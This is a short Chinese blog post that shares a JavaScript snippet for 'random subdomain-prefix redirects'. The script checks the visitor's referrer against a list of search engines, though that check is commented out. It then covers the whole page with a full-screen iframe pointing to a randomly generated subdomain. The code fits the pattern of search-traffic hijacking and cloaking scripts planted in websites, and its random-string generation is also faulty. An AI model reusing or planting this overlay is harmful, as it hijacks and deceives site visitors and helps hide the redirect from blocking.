首页 > 其他分享 >js 二级域名随机跳前缀

js 二级域名随机跳前缀

时间:2025-01-23 16:21:06浏览次数:1  
标签:前缀 100% 二级域名 js iframe var div document div1

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
console.log(where)
var url = randstr();
// if(regexp.test(where)){
  document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;margin:0;padding:0}</style>');
  var iframe = document.createElement('iframe');
  iframe.scrolling = 'auto';
  iframe.style.cssText = "width:100%;height:100%;left:1px;top:1px;border:none;background:#fff";
  var div1 = document.createElement("div");
  var div =  document.createElement("div");
  div1.style.cssText = "-webkit-overflow-scrolling:touch;width:100%;height:100%;z-index:9999999999;position:fixed;top:0;left:0;";
    var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;

  if (is_mobi) {
            iframe.src = url; //手机
         } else {
            iframe.src = url; //PC
         }
         div1.appendChild(iframe);
         div.appendChild(div1);
         document.write(div.innerHTML);
// }


function randstr() {
    var ua = navigator.userAgent.toLowerCase();  
    var isMobile = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(ua);  
    var prefixLength = 5;  
      
    var baseDomain = '域名';  
      
    var randomPrefix = '';  
    for (var i = 0; i < prefixLength; i++) {  
        var randomChar = Math.random().toString(36).substring(7);  
        randomPrefix += randomChar;  
    }  
      
    var randomUrl = 'https://' + randomPrefix + '.' + baseDomain;  
     
    return randomUrl;
    

};

 

标签:前缀,100%,二级域名,js,iframe,var,div,document,div1
From: https://www.cnblogs.com/barry1212/p/18688000

相关文章

  • 使用无头浏览器脚本能处理动态加载的JS文件
    无头浏览器爬虫需求:信息搜集,获取js文件,然后寻找chunk,找到隐藏的接口实现:爬取站点JS脚本pipinstallseleniumwebdriver-managerimportosimporttimeimportrequestsfromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webd......
  • YOLO训练自己的分割数据集,使用labelme标注的分割数据集产生的.json文件转化为YOLOv8识
    将labelme标注的分割数据集,转化为YOLOv8识别的.txt文件数据集分为两部分,第一部分先将labelme标注的分割数据集转化为coco格式的文件,第二步,在将coco格式的JSON文件转化为yolo格式的txt文件第一部分:将labelme标注的分割数据集转化为coco格式的文件第一步首先建立一个文件夹myd......
  • vue template 转 jsx 写法及TS类型应用
    vue的响应式数据+jsx开发体验简直不要太好,心智负担确实小,简直完爆react(纯属个人暴论),不足的地方就是生态了,这点确实比不过react。本文更侧重于TS类型的写法,毕竟初次接触vuejsx时,实在对其TS类型声明很不顺手。要说vue模板语法哪些API不能在jsx中使用,也就是一些......
  • 【Html.js——功能实现】为图片添加景深效果(蓝桥杯真题-2161)【合集】
    目录......
  • JSP拼车系统1fxmu(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、研究背景与意义随着城市化进程的加快和交通拥堵问题的日益严重,拼车作为一种共享出行的方式,逐渐成为缓解交通压力、降低出行成本的有效途径。拼......
  • JSP暖暖猫窝系统a856q--程序+源码+数据库+调试部署+开发环境
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、研究背景与意义随着宠物经济的兴起,宠物猫已成为许多家庭的重要成员。然而,传统的猫窝已无法满足现代宠物猫的生活需求。因此,开发一款智能、舒适......
  • JS宏进阶:协程
    在JavaScript中,协程(Coroutine)是一种特殊的函数,它能够在执行到某个点时暂停,并在以后恢复执行。协程的概念在JavaScript中主要通过生成器函数(Generator)和async/awite语法来实现。下面是这两种方式的详细阐述。一、协程的基本概述协程是一种比线程更加轻量级的存在。它允许函数......
  • JS宏进阶:模块化编程
    理想情况下,开发者只需要实现核心的业务逻辑,其他都可以加载别人已经写好的模块。然而,理想很丰满,现实很骨感,特别是在WPS编辑器中,加载别人写好的模块需要用eval方法。很不安全,WPS官方又没有开发出独特的加载方式,下面是一个模块的加载示例:varCryptoJS;//.MD5(inputString).toStr......
  • JSP农副及衍生产品交易系统3qxs1--(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、研究背景与意义随着互联网技术的发展,电子商务已成为推动各行各业数字化转型的重要力量。在农副产品领域,传统的交易模式存在信息不对称、交易效......
  • JSP农业种植管理系统5kb33--(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、项目背景与意义随着科技的飞速发展,农业领域正逐步向智能化、信息化转型。农业种植管理作为农业生产的关键环节,其效率与质量直接影响农作物的产......